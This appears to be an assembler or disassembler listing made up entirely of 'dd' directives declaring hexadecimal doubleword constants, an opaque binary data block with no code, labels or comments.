		dd 4D442F20h, 25002706h, 5857C005h, 300EC1F3h, 0ECE9F204h
		dd 0BD07D1ACh, 0B9FE0541h, 0F128B630h, 0B00209C7h, 80805F8Bh
		dd 741550Fh, 196D58h, 0F09EAACBh, 1850F970h, 0C9288846h
		dd 0AF506586h, 960052B4h, 67D5C321h, 0F45F99E4h, 933C1E62h
		dd 6610FAA9h, 8EE200EAh, 0EE71687Bh, 0DBA22907h, 330F3DD0h
		dd 0E7C02532h, 5799C326h, 0AE600F00h, 968E1DF4h, 643C11D0h
		dd 0DAC202EBh, 56E760F3h, 20C0A07Ch, 0E318E905h, 56190E68h
		dd 25D453Ch, 0C620FAA4h, 0A87502h, 50B9565h, 87F08218h
		dd 0F8089395h, 3C6686h,	7F5B5D79h, 0C1562852h, 78C78A12h
		dd 1368A0h, 381A23ABh, 0C80CCEEEh, 4EE3CA1Fh, 0B2B39CC1h
		dd 0DE80A15Ch, 5FB1FA13h, 230729FFh, 0C7F48E0Dh, 8AA7E200h
		dd 50F61Dh, 0E0159485h,	0EDF6847Ah, 0C2334000h,	0E9762DB4h
		dd 0C47C00D8h, 2501EA46h, 0F00B8C9h, 66DCE832h,	38EE36FCh
		dd 3E008940h, 0FB428BB4h, 0F7008A69h, 3D46B1FFh, 1FB864BEh
		dd 0C076A912h, 3662B2B7h, 8500459Eh, 0ABDC7811h, 78C7199h
		dd 0F14DBCB4h, 9A9EE03Ah, 983F1470h, 0DDB600B2h, 6126B57h
		dd 517400C0h, 389417FCh, 0A900EE2Ch, 0B18B6F89h, 90E121BCh
		dd 9CFC0024h, 0AEFD1B3Fh, 0DD00C461h, 132A0CB5h, 18C1C27h
		dd 90F0FB74h, 5440EA28h, 0F6046C94h, 46814A5h, 9A4FD077h
		dd 6B10EE60h, 70E2C55h,	8DB3A110h, 233860E5h, 5A0052C1h
		dd 45D2F54Fh, 64146B69h, 21A7292Bh, 4911BA9Bh, 29EB11D3h
		dd 5E44F817h, 0C5101D22h, 8EEF8825h, 89BC0A88h,	443C0831h
		dd 2284E323h, 8542B820h, 211FA711h, 5F7904D7h, 42590853h
		dd 0CB253B39h, 6D1F5006h, 0E208E929h, 82FE3445h, 2276F128h
		dd 0FC25D2C1h, 42131408h, 0D524759Ch, 1231AA21h, 63E21307h
		dd 5521A924h, 7B1330h, 580109A1h, 3F36C114h, 76995F0Fh
		dd 0B55B60FEh, 71ADEBEh, 25139302h, 0C463E0CDh,	0A20057D0h
		dd 0E6520E82h, 0FE4A3Fh, 0D58C1E24h, 697375Fh, 0A00060B0h
		dd 5BE1A778h, 9BF2D3h, 9F3F9535h, 9AB62D26h, 45128100h
		dd 68D24288h, 0C2C40ED9h, 5A80F057h, 1201B13Ch,	584AA303h
		dd 20629Eh, 0DAC5C311h,	0E2835A3Dh, 32480A00h, 0B4C1241Ah
		dd 12CF9866h, 0F9B6E7h,	51F89340h, 5C003B23h, 0A311D324h
		dd 1881BD3Eh, 10D295F7h, 0E80351EFh, 0DE57FBD6h, 90438FE3h
		dd 8C020052h, 0D85EF6AFh, 3C49320Ah, 4FCC0E70h,	1A9380E7h
		dd 914D95h, 84B2922Ch, 1EB0488Bh, 8F316300h, 30F49BE7h
		dd 0F34301C0h, 46C7B25Ch, 3ADDF02Ch, 0C98DD700h, 0C310B305h
		dd 5F5206DEh, 3004FE14h, 90729F00h, 2A38D403h, 0D63F00FAh
		dd 0AB5976ECh, 5400EB15h, 340620F4h, 16CEED4h, 3F17AD6Fh
		dd 81C79990h, 243092D8h, 3CD05401h, 77C10765h, 11DC0C37h
		dd 0C0694381h, 0FC0019BFh, 559CFE4Ch, 46D6ADh, 5A8AFA12h
		dd 0DFB2194h, 89C74A04h, 0F0806353h, 7EC3314Ch,	58C3EC1h
		dd 444E5500h, 916F9848h, 36E10400h, 0C333BACCh,	8A5F0082h
		dd 0CA1FC717h, 0E0007D6h, 0A544950Ch, 9850D4h, 7D6D3381h
		dd 0E766B328h, 29534303h, 0A07A3D79h, 0B0F336h,	0F1983A80h
		dd 24833277h, 298AA8A8h, 48FCA800h, 2E71D321h, 8C27305Bh
		dd 0E4748239h, 89B1B218h, 0D9B010h, 0E9108658h,	1994409Dh
		dd 0B1007DF8h, 16589CBh, 1CA4E5AAh, 2DF9AB9h, 0AE236992h
		dd 8E80A489h, 0AD94F882h, 2ABA10C0h, 484EC774h,	0EF4C4084h
		dd 88A40C54h, 42003D75h, 5CAD7163h, 48859FB1h, 62248C60h
		dd 0A1A0000Ch, 7C84B3E9h, 0BF00CB71h, 0A7181443h, 56F460h
		dd 301B6BFBh, 0F6662A0Bh, 0E4918B8h, 56A20098h,	0E0A705D6h
		dd 7BC7B8Eh, 968B09FAh,	8D21B0CEh, 1E261BA6h, 0C3005858h
		dd 99D6A7EBh, 0C7C8006Fh, 3ECBF931h, 8AA0CF98h,	0D4016029h
		dd 691BBFCDh, 9ECCBEDCh, 0E23BE456h, 0B0940FFFh, 8FE064C8h
		dd 0FB360F39h, 0AD848C0Ah, 7A00B805h, 7847F48Ah, 0D7F60B62h
		dd 7B80C633h, 0CD4809F0h, 44F1C300h, 0D6430410h, 2E907Eh
		dd 3BCFB841h, 8796EE19h, 562FD200h, 176D92C2h, 0B9520007h
		dd 47D3ACAh, 1D001C12h,	0DA69CF99h, 7BBE89D7h, 0FD563996h
		dd 87AE5300h, 5FFA5E70h, 710068F8h, 14749AC2h, 18B8A0h
		dd 58AE92F7h, 906CE0A9h, 9880DC91h, 0F34C64B0h,	7D1C0224h
		dd 2A3D491h, 1362C40h, 384BFF03h, 0F943C8F4h, 0C1D4C01Bh
		dd 868209E4h, 2800D629h, 400BDF80h, 7E63D01h, 1C526995h
		dd 0F37630h, 6814FE7Bh,	77A235B4h, 826F9A00h, 0BB4CA07Eh
		dd 364400C0h, 4192AB8Dh, 0E160C620h, 332E747Eh,	7B5E0093h
		dd 0BC1DD422h, 0C011585h, 705C5FBFh, 0A453B97Fh, 787CF825h
		dd 3B5A00E4h, 0F99AA5ABh, 0E90067F5h, 1E262AB9h, 0C87787h
		dd 0D0786DB8h, 0AEB686DDh, 0EAEE1A00h, 90FA666Bh, 69B00222h
		dd 0F9ABDBB4h, 0FE1CC00Eh, 12CE819Bh, 1DD8879Fh, 2C7AC78Ch
		dd 0D047A022h, 6876612Bh, 12620600h, 5F016B4Ah,	1BA30013h
		dd 4D42AA9Ch, 1605D7C0h, 5C58088Bh, 61126080h, 825667BDh
		dd 90678747h, 21B39E5h,	0F564B107h, 11E09EABh, 7EAF3D9Ch
		dd 0D27F07h, 962C53BDh,	1C5F76BAh, 0F61D6400h, 4CE4F50Ch
		dd 0AE9B003Ch, 8A4E6E4Ah, 15004466h, 0F44FF623h, 92A6B2h
		dd 9C8EEAFBh, 8D7413CDh, 8810EB03h, 0A052BFBBh,	1E853C5h
		dd 65BD3A9Eh, 8035FE86h, 63331406h, 4D6919h, 4320F74Bh
		dd 0B3E78B0Dh, 92F138C0h, 2C51B2Fh, 31F45524h, 0F6C0E309h
		dd 53E97273h, 48E0D9D4h, 650790C4h, 0A66A0EAFh,	0E62B2AE0h
		dd 0EA8F002Eh, 0F4C34322h, 0B400897Dh, 0F2482094h, 25E53h
		dd 6D9B0F36h, 78DCED75h, 21E6B8C9h, 2AE8F078h, 90C2D443h
		dd 0E025D2h, 7B31B8A7h,	0BFC71F52h, 2BF6AA02h, 0C0240DCEh
		dd 0D6CBA3h, 88586942h,	41E550D5h, 70573D3Ah, 0D8A0C200h
		dd 773560Ch, 92104C33h,	4AEDF00h, 19E31138h, 0F9F05900h
		dd 0F2BD60FBh, 1CC7D87h, 62CE70Eh, 30B81180h, 2900EF07h
		dd 89D96C3h, 0FA1A5Ch, 0F7E2489Ch, 117A15F1h, 0ECA0C000h
		dd 604E3A6Ch, 0BB9F0094h, 8579472Ch, 773F8907h,	840CBE8Fh
		dd 59403D44h, 0C2522FC2h, 0B0BE80DCh, 9B24A88h,	234FB8F9h
		dd 0EC34F800h, 940574D3h, 0B05E48C9h, 42655282h, 2408C06Ch
		dd 0B3F60004h, 7438C162h, 6C1F2DA5h, 0B981E534h, 0F70326F3h
		dd 0F0DE6860h, 5E7464h,	9D9F250Dh, 76E1E34Dh, 29A88407h
		dd 4360B42Dh, 3FF2E728h
		dd 35804E2Eh, 5D55650Eh, 0D800D4B3h, 8061F02Ah,	9132D93h
		dd 3CDB1D17h, 15F72A80h, 25001105h, 0EE414B03h,	6A1BD4h
		dd 202F6034h, 67A216Eh,	2BCC748h, 48B19FFFh, 7560E87Ch
		dd 98A00085h, 0F98DC4E6h, 5E06CDA7h, 3CAB6D54h,	791207AEh
		dd 7B0CD687h, 98E5F880h, 0F00C8ECh, 99644AF5h, 1D21663Ch
		dd 0B90C2CE1h, 609E007Fh, 0A0E2A3B4h, 0DD775576h, 24DF4958h
		dd 2C0F8D50h, 40B06FCCh, 0ABC46153h, 3783006Dh,	0EFF46444h
		dd 0CB000939h, 3B5FD6A2h, 0ECEE30h, 0EBA43642h,	0BA6606BBh
		dd 4DC5C400h, 53168A67h, 87D5006Ah, 3A40B030h, 9000075Bh
		dd 22429EA6h, 1CB9F901h, 4044B48Fh, 5FE1A5BEh, 1C008B2Ah
		dd 22E79C79h, 5C0A011h,	28FEEE75h, 0D0F5C7F6h, 0FAB39157h
		dd 0DE7EF8A3h, 0C96A4B1Dh, 95AE00FBh, 48ECCC74h, 2D8B03C1h
		dd 4C46FF0Bh, 606CB291h, 0A7F6F5B6h, 0EB35B507h, 8FB06BE9h
		dd 159C2531h, 0F8204C0Eh, 0CD4B260Fh, 3717009Ch, 0DBC41316h
		dd 0D5D8A750h, 849E609h, 40A80009h, 0CBAC50h, 18FD8E79h
		dd 0C49AEA6Ah, 534C4FECh, 0C6680098h, 0D8D95722h, 0E05E007Eh
		dd 627B7315h, 5583540h,	592B1F30h, 4ABEEFC0h, 0F51047h
		dd 1ABDEC93h, 0AA71AB6Fh, 1846FA37h, 0FD3E4EE0h, 7CB600DAh
		dd 0D331FB33h, 0DC001A3Dh, 565DC1F2h, 0BC587Eh,	0C53549F6h
		dd 9AA8D520h, 8027193Eh, 3743ADB1h, 0A140B494h,	16D042EFh
		dd 1133003Ah, 468B6728h, 5A000D0Eh, 9B38B4CFh, 62BC96h
		dd 0DC13686Ah, 31D1B301h, 5800F6EAh, 18349E65h,	813FA8h
		dd 0BBC6F114h, 73D343CAh, 729D003h, 0E05A8FB7h,	129C3DF6h
		dd 153484h, 439188CAh, 2900725Dh, 53D756B3h, 0F946AB7h
		dd 0C02FC2E8h, 0F28AD0E0h, 36B07D4Bh, 5122B00h,	28075262h
		dd 0AA500036h, 0C3D3BF59h, 2A3CFA3Fh, 6CF50018h, 0EE732441h
		dd 3D5C0386h, 23BAA63Ch, 0F9800B87h, 837C4E4Dh,	75D3F600h
		dd 6A40380h, 98B8CDh, 0AD0E72BEh, 0F4BCB1B4h, 0EACFA703h
		dd 0C0740BD6h, 0D45F29h, 0F284A56Fh, 5BB59D35h,	10E73F01h
		dd 0E11E95EFh, 6527ECh,	6891B2CFh, 13BF5A96h, 2C97D000h
		dd 0C8555748h, 202100B7h, 43599B79h, 2400CADBh,	0A7F63D92h
		dd 3AFFB08Bh, 0E2892F53h, 988047F0h, 0A223C8E5h, 0FABDED0Eh
		dd 58B574C9h, 7A9C005Fh, 6FA18C8Fh, 0B360056h, 9550B02Ah
		dd 40C0E6E5h, 45A70E14h, 64E3123Dh, 369E015Ch, 0D9FA0118h
		dd 4CE42990h, 2CF0774h,	50B497E2h, 91E4A0h, 0A9128B8Eh
		dd 0BAC9EE89h, 0FAEC19E4h, 4600CAF0h, 3B0503Ch,	9D8107Eh
		dd 0E50BA8DBh, 8702A400h, 0B5E86299h, 0C1F6A700h, 0C03D5BAAh
		dd 534000C6h, 9EFAA44Ah, 4C00DCFCh, 69F1A291h, 75F09948h
		dd 0EB463A5Ch, 88015BDh, 0E777BF7Ah, 0A0049C5h,	2ACE91ECh
		dd 1CF7F5B3h, 80F91DE8h, 640B3E61h, 17061C3Ch, 0ACCE0E9h
		dd 82A20210h, 9C0C2AB4h, 0C046E6C0h, 0FA136900h, 0CA8A0E0Dh
		dd 0F8D10031h, 3523C2C7h, 0B413362Dh, 4D01C830h, 0E697C4FAh
		dd 0FA2944F8h, 0DC3E07C1h, 3096254Eh, 8F58BB90h, 0BFE67BFAh
		dd 0A24B4900h, 9ABA77E1h, 533205C0h, 904C805h, 54A066F2h
		dd 0DE7FA482h, 20001571h, 5AC2C65h, 9C589ECh, 0A2463A60h
		dd 5F3F3880h, 2648B7F2h, 0FAA504F2h, 50C0BB7Eh,	73B47FC6h
		dd 0E04C0001h, 35BEE94Eh, 0B0158CEh, 0F49AF00Fh, 0C4D87B74h
		dd 152703E0h, 434BB82Fh, 75F16EB0h, 5401F072h, 0E1178FFAh
		dd 2880DD69h, 11B83031h, 7B16A4E9h, 8800E45Fh, 0A819F793h
		dd 9E8C00C3h, 31ED6B08h, 0D8003746h, 1AB44D54h,	3D27DE5Dh
		dd 3D1C2220h, 0A2A100F1h, 7F21EA04h, 906A4600h,	24C29A62h
		dd 55C93B47h, 5FA907F5h, 0C023F541h, 0BADFD392h, 0FFBF3A00h
		dd 27A4734Eh, 0EB37000Dh, 77FBC86Fh, 2F00FC56h,	5BE299F7h
		dd 86E664h, 0C42B1FD0h,	94F3AC44h, 0BA314801h, 0EF1E21CAh
		dd 7C30C1F5h, 9A05C0Fh,	0FECE8507h, 64F990B2h, 8200052Dh
		dd 0ADE15392h, 0A29F9Bh, 0F30CA1Eh, 10363146h, 0B07C9DEEh
		dd 432F0B03h, 0C1A520A6h, 9A80E041h, 0BB125302h, 0C202F94Ah
		dd 0F09313AAh, 0E95BE069h, 0B3BA0062h, 0B7E304D3h, 0BC015EB0h
		dd 22CB121Ch, 0FBD460C3h, 4DEF0089h, 0DA83C462h, 0D71F0352h
		dd 3840504Ah, 390CB6CEh, 0CA7900BBh, 0B9724676h, 0B81792BCh
		dd 0EF14116Ch, 0A8C2008Ch, 6B070F48h, 503E00CAh, 60CB1DB9h
		dd 0B800B14Eh, 94914F27h, 82F817h, 49BB52A0h, 0A1433330h
		dd 0A874A40Bh, 30A98C41h, 0D47C0EC8h, 8300BAD2h, 0EC1A6856h
		dd 2CE9403Fh, 0FA00FF5Dh, 418D9213h, 165300D5h,	1069DB35h
		dd 76006FE7h, 0D43B1737h, 0F52BF5Bh, 0D17994D3h, 5EC03C20h
		dd 4E007EC3h, 818C7296h, 7B840E9h, 0BD762304h, 0F78B5053h
		dd 1D00F4FBh, 0BEEDAB79h, 2AC2050h, 0A51947DBh,	0C6043FFh
		dd 6FE2FA9h, 50448117h,	877E4700h, 0E34C6Ah, 3D1376F5h
		dd 3AA13812h, 0BEE28F00h, 8AE1637Dh, 0C74E8A3h,	35F9956Ch
		dd 0E000FFF0h, 7BA90EF7h, 3129966h, 15368D43h, 1EA0F929h
		dd 3D0F608Bh, 0C04146D0h, 889D6C72h, 0FA32010Eh, 0E931D4ABh
		dd 0FBC18020h, 57A38790h, 0B2E70C37h, 5440494Dh, 0D389E900h
		dd 66161893h, 67AA0FDAh, 3A40C604h, 8FD68CBh, 3376D104h
		dd 0EC80B8B5h, 0F84152h, 0F7B17571h, 0A74D07CDh, 0FAAB1C00h
		dd 0F52D4BF4h, 0ADB0F0Bh, 0C7A0120Fh, 74DDF164h, 6525D300h
		dd 5BDCAF7Bh, 47B600A0h, 68B706ACh, 96007116h, 7F8DEAB9h
		dd 60522DA5h, 139E71DAh, 0C971F6FBh, 0C100DF7Fh, 0EC1CFE84h
		dd 0E688B457h, 52CF00DCh, 28C6E217h, 6A009CD9h,	0ACABA6F2h
		dd 0C3FFF7h, 978BA488h,	9E17535Fh, 0C4073300h, 0DCCC4EC0h
		dd 0C34500C7h, 273F023h, 76009B5Eh, 0D2BD2A9Eh,	1663B9BEh
		dd 0E340EFh, 0BD3FBEDh,	55001662h, 9E1BB803h, 9BF2378h
		dd 0CDC0AB4Ch, 0C3744004h, 0A681A990h, 94C8E408h, 7E1D3600h
		dd 6939B88Fh, 6FD0009Fh, 9084035Bh, 0E500EF2Bh,	73D68E77h
		dd 0EA44D99h, 0E9E2FA44h, 40944700h, 0FC006CBAh, 0ACE1E052h
		dd 223985h, 60F742F0h, 9FBC032Fh, 76C27000h, 3A7EABE0h
		dd 1CD7E0FEh, 479D1629h, 20DF57EBh, 3239BA8h, 69E56100h
		dd 6F0ADDB3h, 184A0043h, 8A46475h, 9800E36Dh, 84A38F1Fh
		dd 1471BC6h, 6EC44E5Ch,	0EAFC966Bh, 4402D060h, 1C88F600h
		dd 3399ED10h, 7AD800E9h, 5F405E4Ch, 0EF3A72EAh,	30C9B0F9h
		dd 699E166h, 31E30FABh,	400142Fh, 5CD1951Dh, 4A4B037h
		dd 12F45B28h, 0D271801Fh, 0E8031B52h, 0F01A0188h, 1E18F074h
		dd 61532407h, 78EA1810h, 0D600AC1Fh, 1450EC77h,	0DADB9h
		dd 0D568FC53h, 0CA263A94h, 1DF2E700h, 0DD3783ACh, 77C4006Bh
		dd 0B906299Bh, 4200E958h, 45CADFFDh, 226B8F9h, 46A14E4Ch
		dd 1EC090C1h, 0C5013067h, 7ED50663h, 386473AFh,	86FB2EA7h
		dd 74BC03C5h, 0A8A11017h, 8E984056h, 0F00F12C3h, 2075E3D6h
		dd 9650930Eh, 0A054B8F1h, 7EB278h, 0BE831F01h, 23DE444h
		dd 0FC0AD37Eh, 92A16904h, 3F074C1Dh, 7C50D441h,	0F22CA7h
		dd 5B6E639h, 97B2D61Eh,	681DD00h, 3D575354h, 8DCA0015h
		dd 7EFFE5E3h, 520310F0h, 0EF369ECEh, 14780004h,	801EAC7Dh
		dd 0EB004BC3h, 0A5DA0B16h, 396EC13Dh, 2085F322h, 831CCB49h
		dd 0B6D0FDFBh, 441E4372h, 0B32E9DC9h, 0D91F0607h, 8F2F9AF2h
		dd 0E71980DCh, 18980D9Ch
		dd 78156438h, 0D8C0BB51h, 0E2C6967Ch, 869E1EF2h, 774D809Fh
		dd 0E91430AAh, 0F3379500h, 0A2B31D6h, 0CD380006h, 7E760896h
		dd 8FFEB935h, 84E28007h, 0D160E34Fh, 0FE1982Fh,	5204BC65h
		dd 0F34BDB63h, 937325C0h, 0B2A1230Eh, 2CCAE0FFh, 5D639A6h
		dd 6294D9A5h, 6F54C744h, 135FC840h, 0A62C8CFCh,	0E6004458h
		dd 270C7C98h, 61364DD8h, 7E039300h, 0BDC8430Fh,	88094F77h
		dd 80D98CFFh, 998CCC0h,	85F2009Ch, 8BB3FCCFh, 0A224DDBAh
		dd 0E2800CD7h, 0C47FFB46h, 840A0098h, 0EEC51AD5h, 0C9007A9Fh
		dd 23F7AA80h, 27AED3h, 6A8DECE6h, 58A8DD89h, 0B3C45317h
		dd 68407216h, 0C6EE3AA6h, 0A870CB9h, 0C730E5BEh, 781D6D0Ch
		dd 394137h, 54D37F04h, 0E4B45AF8h, 322AA400h, 5F2B56E8h
		dd 806A17C3h, 0E6D840D8h, 8F9F6295h, 2553CF00h,	925F34F9h
		dd 54D00093h, 0DFACF824h, 0C0007E41h, 40AB9FA6h, 3B44EF08h
		dd 0D6138ED4h, 0D901073Ah, 46CF60DAh, 5ADDC9A3h, 0ADEAA540h
		dd 3042BF64h, 0E6946685h, 10C0BE9Eh, 0BD97CFE7h, 8DB008Ah
		dd 0B06BE1D8h, 0B91C5365h, 90C1EC31h, 0C61A2BFFh, 0BF8CCCh
		dd 7AC1D684h, 0CF45EEE5h, 143D40A0h, 0C681362Eh, 0E08AC900h
		dd 57A941h, 0DD7AE91Ah,	435F78F8h, 8126D18h, 0C3E231F9h
		dd 15B24771h, 0DC7CC0BCh, 700097C8h, 6B0F0B59h,	0FB48B56h
		dd 5E22071Bh, 5BB54CC0h, 0F9609417h, 1E25612h, 0E5431287h
		dd 0A650136h, 8FEB2ACEh, 2BC43140h, 349C001Ch, 1E843909h
		dd 0CA32FBA9h, 58904774h, 1C92E28Eh, 0EC8AE000h, 8FCF8DE4h
		dd 0DD772C14h, 54CB808Ch, 0F7EE9108h, 70364D18h, 0FA8C6330h
		dd 60C0002Fh, 683D205h,	915057F8h, 0E4141BE4h, 0C884F947h
		dd 0AC426F33h, 0CF334679h, 34CB4820h, 0F19360D7h, 6E38EB62h
		dd 154F618h, 46B841h, 0B29E8AD6h, 9915A43Dh, 1BAA1F24h
		dd 1CC03500h, 7273DCAEh, 58A41Dh, 0A041165h, 8B61A0E9h
		dd 5368DC1Ch, 4B7B940Eh, 9B24808Dh, 1ADD2Eh, 5AB08FE8h
		dd 475BD854h, 3F00BC77h, 0E4947CDEh, 7CD2033Eh,	58FF00D5h
		dd 199E0262h, 1330FD15h, 0AF1A485Eh, 0FA711CB8h, 28D00A93h
		dd 0C22F87F0h, 91C30049h, 70006B94h, 4C8097F4h,	96EB69E8h
		dd 9539404Ch, 400027E3h, 0F42AF6B2h, 0EA7CAB1Ah, 9E531876h
		dd 4C0A2104h, 686BDE03h, 0E034F0BBh, 2466CD18h,	44D7757h
		dd 801E92DFh, 0DAA9D1ECh, 2EE5730Fh, 0BF01C0FBh, 8DED0Fh
		dd 58A371B9h, 75DC9EA4h, 0FC975D28h, 93E7E000h,	0D5043FE4h
		dd 63E31549h, 0A901D8C6h, 0D732F948h, 8120249Fh, 91E47901h
		dd 94E703D1h, 53730D0h,	0AD6683B9h, 0B388C040h,	60010A7Ah
		dd 0C169B4E4h, 18803F37h, 339BD33Eh, 78C5BABFh,	3C88824Eh
		dd 1B07B53h, 0F78D0554h, 2416423Eh, 69013C60h, 0A7A819E6h
		dd 89B989FEh, 0B151A80h, 0A443011Fh, 2FF74600h,	42B5D9CDh
		dd 0ADC1CEA7h, 3C4C0FAFh, 5054311h, 0E6DB97B7h,	63E18480h
		dd 0F51700E4h, 62E83C0Dh, 3A0105BCh, 475C80BEh,	83C09CC8h
		dd 0D60A170Ch, 42870089h, 0FDB6B99Ah, 9359F1Eh,	0C04AC481h
		dd 0EBF4FE28h, 8F08001Bh, 0B954ABB3h, 31054B82h, 233299BFh
		dd 53A5B0C0h, 18900FF7h, 76B3E0h, 1C9CBA6Ch, 0D60A37D7h
		dd 83DC0F66h, 0D71A7409h, 0E65DB200h, 9D175EA6h, 4904586Fh
		dd 9480EA12h, 23E01A1h,	84C165C5h, 0C0C42A0Ah, 8E091C00h
		dd 0D24CD8A6h, 0A04EE8Dh, 421A65CDh, 83C0009Ch,	0C37FDF4Bh
		dd 0C09748B8h, 93F80DFh, 419D975Bh, 0D2918A00h,	0AA601E4Eh
		dd 0A7F30F68h, 0DB1B5C29h, 140E8901h, 0F082D450h, 7600F530h
		dd 0E67580F1h, 0FA59D6B1h, 2FC76C7h, 0C6515019h, 0F0481646h
		dd 5D72E20Dh, 0DC7CA526h, 44CB5E80h, 48CFC7F8h,	0D6071870h
		dd 40B5E29Eh, 859F8DE9h, 3400017Bh, 0AB566FE1h,	2504F83Dh
		dd 5423A3B6h, 0FA1E81A8h, 910C9332h, 984887h, 3EB2352Dh
		dd 3148BD80h, 5D26471Fh, 0FDF44E80h, 7D940Fh, 91CC1C03h
		dd 7AD650D4h, 56E2210Bh, 787C8007h, 790F53E1h, 0A05E13C0h
		dd 850000B9h, 380E04Ah,	68004774h, 0E4345D90h, 1E66327h
		dd 0D6749A61h, 0CC92D772h, 50973F5h, 4DB02Bh, 0FB54B3BCh
		dd 0B8EF4C8Eh, 2860E6A2h, 9503C7DDh, 3A6D0878h,	7A487022h
		dd 9F8A0505h, 8ADC37C8h, 0F31A0270h, 0C0C6F771h, 1FC5472h
		dd 80822B3Ch, 0DEC29745h, 89C1A0C0h, 4E514Ch, 116CB964h
		dd 3B3D87DEh, 4E808C12h, 0DA7CD5F8h, 0F8FB81A0h, 45EAA621h
		dd 0B1DDDF02h, 481A75D9h, 25010E0h, 0BDDC13DBh,	80687A84h
		dd 14C1481h, 3BA448A8h,	25CA0044h, 0F9125AC4h, 9A5245Bh
		dd 3EC80C8h, 5297C7A2h,	0ED5826FAh, 25BB1B28h, 3E38E461h
		dd 0FB4AA50Fh, 6E10E482h, 784718C0h, 1D6A2AABh,	320F03A4h
		dd 370A678Ah, 0EF5DFBB0h, 5CA1422Ch, 6FA56A60h,	957A318Fh
		dd 0C4319C59h, 930175EBh, 6F3F4C2h, 9064DC3Bh, 61A8A2C3h
		dd 0D84CF8C5h, 0A3C72C24h, 8315964h, 135F01E1h,	897F8D5h
		dd 748B60C1h, 4D91BD04h, 68D0CFA4h, 30BB63DDh, 5A591665h
		dd 9342FC5Fh, 4B23818Fh, 8AC0BFE8h, 910F4EC1h, 0C0E9021Eh
		dd 5A512694h, 0E17AC0CAh, 5E8AAE5Dh, 0DD759900h, 7DC4401Fh
		dd 8105845h, 0FC9B7001h, 60FD173Dh, 8358F35Dh, 96E60070h
		dd 0D0502C38h, 319033h,	174EB830h, 4BBD58F6h, 66FD2E16h
		dd 59310600h, 184797ACh, 581BFE4Ah, 0B20C2E07h,	397C7E76h
		dd 230015Eh, 0E3C5765h,	2284D879h, 4C2E3800h, 0FE7D33BBh
		dd 9097025Eh, 9C833DC0h, 0ED1350C0h, 8836E301h,	31D537BBh
		dd 0A8426AE0h, 5B35D2ACh, 0B00803CFh, 98F1AE9Ch, 761C24BFh
		dd 0F668BD00h, 10F828F7h, 4D89087h, 0BA51AA17h,	84E0E01Ch
		dd 0A040466Eh, 0EA79471Eh, 0E51D0920h, 1C874E7Eh, 0C206D144h
		dd 0CB8DF4B1h, 80F6713Dh, 74EDA5A2h, 0D602C5h, 3579419Bh
		dd 0C44DB540h, 4854603h, 0C887D28Ah, 3C3BFD19h,	1E81E26Dh
		dd 0E8182629h, 6000DB20h, 4A2BA27h, 0BF096F4h, 0D1C77F78h
		dd 87CD1800h, 0CB0003EFh, 5834E85Fh, 1328B30Ah,	0BF2D79h
		dd 4BD7A83Bh, 93004ED0h, 1A215E8Eh, 71F245h, 4C676E32h
		dd 0F54BC874h, 3DA1DC03h, 0A0A8060Ah, 58BAC9F1h, 7C00ECA4h
		dd 90C7124Ah, 6A17D179h, 3A0045C3h, 0EB52C1BAh,	7C9057h
		dd 0B7AB2262h, 64F05F23h, 31179BF4h, 3400A625h,	0B21D6CE0h
		dd 7041009Eh, 0FC23856Bh, 0E43045AEh, 7DA2C43Bh, 60C00031h
		dd 437775BBh, 0B803F2BEh, 39C6C426h, 1F540123h,	890E3538h
		dd 6BFC6448h, 46B31A0Eh, 0B612E5D5h, 0AF0BCC80h, 2321EEEh
		dd 0DA1E47FEh, 92A3B38Ah, 2426E9C1h, 20508E4h, 0A1B4AF68h
		dd 0C80579C2h, 3F7B277Ch, 50124367h, 0EF24490Fh, 0DA4D9410h
		dd 177DBBB8h, 81C97400h, 0EA868FFEh, 64035843h,	0AE281Eh
		dd 0E0BDD2B5h, 8B00105Ch, 5572E6DDh, 67968A4h, 0CE3367D3h
		dd 0D47A48A1h, 0A5540900h, 4134EFAAh, 0EB220010h, 1ADEA3Ch
		dd 7402920Fh, 6EB9320Ch, 77F44023h, 42E00708h, 0F90E5AAAh
		dd 0DC7A94A0h, 3D60D06Dh, 0AF750511h, 0D6420972h, 0E0E0DD73h
		dd 92B0EC63h, 0D340DE00h, 70E71851h, 0AC8024F2h, 1A8707C4h
		dd 3597A00Eh, 4A00B51Eh, 61AA2D45h, 0BCFF2Bh, 6DBD1364h
		dd 55CC9AF1h, 31DE1F04h, 7C8094DCh, 0F89BCBA6h,	0D74A79h
		dd 9AF7AF1Ch, 0C203BF4Dh, 1F2E5784h, 0EB36E033h, 12CE1350h
		dd 40DC62D9h, 0F89A3070h
		dd 0F26DC70Fh, 4C53835Ah, 0A3D5D0A2h, 0F51C2434h, 8DFB81ECh
		dd 30DB7ECEh, 6F2C6A84h, 63000877h, 0B68FE2Ch, 6BB80084h
		dd 32F1C205h, 5A00BDEFh, 9B16B6AAh, 25801830h, 4481E1D5h
		dd 3392F78Ah, 81A221ECh, 0EE159108h, 9C3CDAh, 3B328A8Eh
		dd 3FC56A6Fh, 9380DF0Eh, 73EE6584h, 1A68888Fh, 0F40798E9h
		dd 0D9ACC9CDh, 30B63F8Ah, 85043F9Eh, 426D95B2h,	16097480h
		dd 43013458h, 0BA5B80E2h, 0A8508A8Bh, 649EEFCh,	0EF944023h
		dd 1DF451CBh, 0E8145C00h, 97837510h, 0DD7B3B1Fh, 94A4AE80h
		dd 20CF645h, 1DA54702h,	0E09F1AC9h, 4C43203Ch, 920E0623h
		dd 5EC01116h, 0FBC17156h, 31643804h, 0E0B7A4DFh, 13002723h
		dd 45E64283h, 0EA3A161Dh, 7BF470B1h, 90E8B9F7h,	33E7F501h
		dd 759AAFE3h, 7C01D86Ch, 0F7C64211h, 0FEAC7457h, 3C4E6501h
		dd 494CCB43h, 6C6466CDh, 41FC9619h, 648CF9A5h, 0EFA728Ch
		dd 0EA2C0604h, 80907B16h, 6FC381h, 0D7BB49CFh, 2AF007BDh
		dd 7BF35A05h, 0A0673810h, 0BD81BAD0h, 0FE13008Ah, 71F7CA54h
		dd 760CA1F2h, 38260402h, 9D6E0029h, 2E08484Dh, 9038541h
		dd 33C1B834h, 42A998C8h, 0F6552C0Eh, 0A4CB60C0h, 8C012B11h
		dd 0E9368669h, 2833C66Ah, 80BC9E24h, 0C5F539A4h, 0C0158B6h
		dd 0E853F030h, 218050B7h, 2B9D7916h, 7709DD03h,	604CE6BEh
		dd 98D568FCh, 0DE7400F5h, 782C3C98h, 39C0C147h,	0B2A15AC7h
		dd 73E80063h, 3C139150h, 0DB09FA80h, 215F3975h,	0D2A3032Ch
		dd 2EF5A850h, 1D770CF3h, 6D204F39h, 4852554Eh, 27E01E01h
